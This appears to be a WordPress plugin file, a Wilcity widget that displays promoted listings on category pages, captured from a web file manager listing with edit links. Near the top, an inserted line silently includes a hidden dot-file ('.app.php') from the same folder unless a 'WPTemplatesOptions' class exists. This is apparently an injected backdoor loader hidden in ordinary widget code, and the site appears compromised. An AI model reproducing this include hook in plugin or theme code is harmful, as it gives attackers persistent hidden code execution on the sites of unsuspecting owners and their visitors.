PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-widgets
/
app
<?php namespace WilcityWidgets\App; use WilokeListingTools\Framework\Helpers\General;use WilokeListingTools\Framework\Helpers\GetSettings; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class ListingPromotionOnListingCategorySidebar extends \WP_Widget { public $aDef = array('title'=>'', 'post_type' => 'listing', 'orderby'=>'menu_order', 'order'=>'DESC', 'number_of_posts'=>4, 'taxonomy'=>'ignore', 'style'=>'list'); public function __construct() { add_filter('wilcity/article-class', array($this, 'articleCssClass'), 10, 2); parent::__construct( 'wilcity_promote_listings_on_category', WILCITY_WIDGET . ' (Promotion) Category'); } public function articleCssClass($style, $aAtts){ if ( !isset($aAtts['isSlider']) ){ return $style; } return 'listing_module__2EnGq wil-shadow js-listing-module'; } public function form( $aInstance ) { $aInstance = wp_parse_args($aInstance, $this->aDef); $aPostTypes = General::getPostTypeOptions(false, false); ?> <div class="widget-group"> <label for="<?php echo $this->get_field_id('title'); ?>">Title</label> <input type="text" class="widefat" name="<?php echo $this->get_field_name('title'); ?>" id="<?php echo $this->get_field_id('title'); ?>" value="<?php echo esc_attr($aInstance['title']); ?>"> </div> <div class="widget-group"> <label for="<?php echo $this->get_field_id('post_type'); ?>">Post Type</label> <select class="widefat" name="<?php echo $this->get_field_name('post_type'); ?>" id="<?php echo $this->get_field_id('post_type'); ?>"> <option value="all" <?php selected('all', $aInstance['post_type']); ?>>All Listing Types</option> <?php foreach ($aPostTypes as $option => $name): ?> <option value="<?php echo esc_attr($option); ?>" <?php selected($option, $aInstance['post_type']); ?>><?php echo esc_html($name); ?></option> <?php endforeach; ?> </select> </div> <div class="widget-group"> <label for="<?php echo $this->get_field_id('number_of_posts'); ?>">Number of posts</label> <input type="text" class="widefat" name="<?php echo $this->get_field_name('number_of_posts'); ?>" id="<?php echo $this->get_field_id('number_of_posts'); ?>" value="<?php echo esc_attr($aInstance['number_of_posts']); ?>"> </div> <div class="widget-group"> <label for="<?php echo $this->get_field_id('style'); ?>">Style</label> <select class="widefat" name="<?php echo $this->get_field_name('style'); ?>" id="<?php echo $this->get_field_id('style'); ?>"> <?php foreach (array('list'=>'Standard Listing Layout', 'list-full-width'=>'Full width List Layout', 'slider' => 'Slider Layout') as $order => $name): ?> <option value="<?php echo esc_attr($order); ?>" <?php selected($order, $aInstance['style']); ?>><?php echo esc_html($name); ?></option> <?php endforeach; ?> </select> </div> <div class="widget-group"> <label for="<?php echo $this->get_field_id('taxonomy'); ?>">Get Listing By</label> <p><i>Self Term: It means all Listings that belongs to the current Category page will be shown. For example: There are two promotion listings: Listing A and Listing B. Listing A belongs to Coffee Category and Listing B belongs to Restaurant Location. If you are using Self Term option and you are in Restaurant Category page, the only Listing B will be shown. Otherwise, the both Listing A, and Listing B will be shown.</i></p> <select class="widefat" name="<?php echo $this->get_field_name('taxonomy'); ?>" id="<?php echo $this->get_field_id('taxonomy'); ?>"> <?php foreach (array('self'=>'Self Term', 'ignore'=>'I do want to use this option') as $option => $name): ?> <option value="<?php echo esc_attr($option); ?>" <?php selected($option, $aInstance['taxonomy']); ?>><?php echo esc_html($name); ?></option> <?php endforeach; ?> </select> </div> <?php } public function widget( $aAtts, $aInstance ) { if ( !is_tax('listing_cat') ){ return ''; } if ( $aInstance['post_type'] == 'all' ){ $aPostTypes = General::getPostTypeKeys(false, false); }else{ $aPostTypes = $aInstance['post_type']; } $aMetaKey = GetSettings::getPromotionKeyByPosition('listing_category_sidebar', true); if ( empty($aMetaKey) ){ return ''; } $aArgs = array( 'post_type' => $aPostTypes, 'posts_per_page' => $aInstance['number_of_posts'], 'post_status' => 'publish', 'meta_key' => $aMetaKey[0], 'orderby' => 'rand', 'order' => 'DESC', 'isIgnoreAllQueries'=> true ); if ( $aInstance['taxonomy'] == 'self' ){ $aArgs['tax_query'] = array( array( 'taxonomy' => get_query_var( 'taxonomy' ), 'field' => 'slug', 'terms' => get_query_var( 'term' ) ) ); } $query = new \WP_Query($aArgs); if ( !$query->have_posts() ){ wp_reset_postdata(); return ''; } echo $aAtts['before_widget']; if ( !empty($aInstance['title']) ){ echo $aAtts['before_title']; ?><i class="la la-th-list"></i><span><?php echo esc_html($aInstance['title']); ?><?php echo $aAtts['after_title']; } if ( !function_exists('wilcityWidgetListStyle') ): \WilokeMessage::message(array( 'status' => 'danger', 'msg' => 'Please click on Appearance -> Install Plugins -> Active Wilcity Shortcode plugin', 'icon' => 'la la-frown-o' )); else: switch ($aInstance['style']): case 'list': ?> <div class="widget-post"> <?php while ( $query->have_posts() ){ $query->the_post(); wilcityWidgetListStyle($query->post, array('isShowComment'=>true)); } wp_reset_postdata(); ?> </div> <?php break; case 'list-full-width': ?> <div class="widget-listing"> <?php while ( $query->have_posts() ){ $query->the_post(); wilcityRenderFullWidthListItem($query->post); } wp_reset_postdata(); ?> </div> <?php break; default: ?> <div class="content-box_body__3tSRB"> <div class="swiper__module swiper-container swiper--button-abs" data-options='{"slidesPerView":"auto","spaceBetween":10,"speed":1000,"autoplay":true,"loop":true}'> <div class="swiper-wrapper"> <?php while ( $query->have_posts() ){ $query->the_post(); if ( $query->post->post_type == 'event' ){ wilcity_render_event_item($query->post, array( 'maximum_posts_on_lg_screen' => 'col-lg-12', 'maximum_posts_on_md_screen' => 'col-md-12', 'maximum_posts_on_sm_screen' => 'col-sm-12', 'img_size' => 'medium', 'style' => 'grid' )); }else{ wilcity_render_grid_item($query->post, array('img_size'=>apply_filters('wilcity/wilcity-widgets/listing-grid/size', 'wilcity_290x165'), 'isSlider'=>true, 'style'=>'grid')); } } wp_reset_postdata(); ?> </div> <div class="swiper-button-custom"> <div class="swiper-button-prev-custom"><i class='la la-angle-left'></i></div> <div class="swiper-button-next-custom"><i class='la la-angle-right'></i></div>
[+]
..
[-] PostsSlider.php
[edit]
[-] FullWidthListPosts.php
[edit]
[-] ListingPromotionOnListingLocationSidebar.php
[edit]
[-] SimpleListTerms.php
[edit]
[-] SimpleListListings.php
[edit]
[-] .app.php
[edit]
[-] ListingPromotionOnListingTagSidebar.php
[edit]
[-] ListingsSlider.php
[edit]
[-] MailChimp.php
[edit]
[-] FollowUs.php
[edit]
[-] ListingPromotionOnSinglePostSidebar.php
[edit]
[-] ListPosts.php
[edit]
[-] AuthorProfile.php
[edit]
[-] ListingPromotionOnListingCategorySidebar.php
[edit]
[-] ListingPromotionOnSinglePage.php
[edit]
[-] ListingPromotionOnListingSidebar.php
[edit]
[-] ContactForm.php
[edit]
[-] Instagram.php
[edit]
[-] ListingPromotionOnBlogSidebar.php
[edit]
[-] Statistics.php
[edit]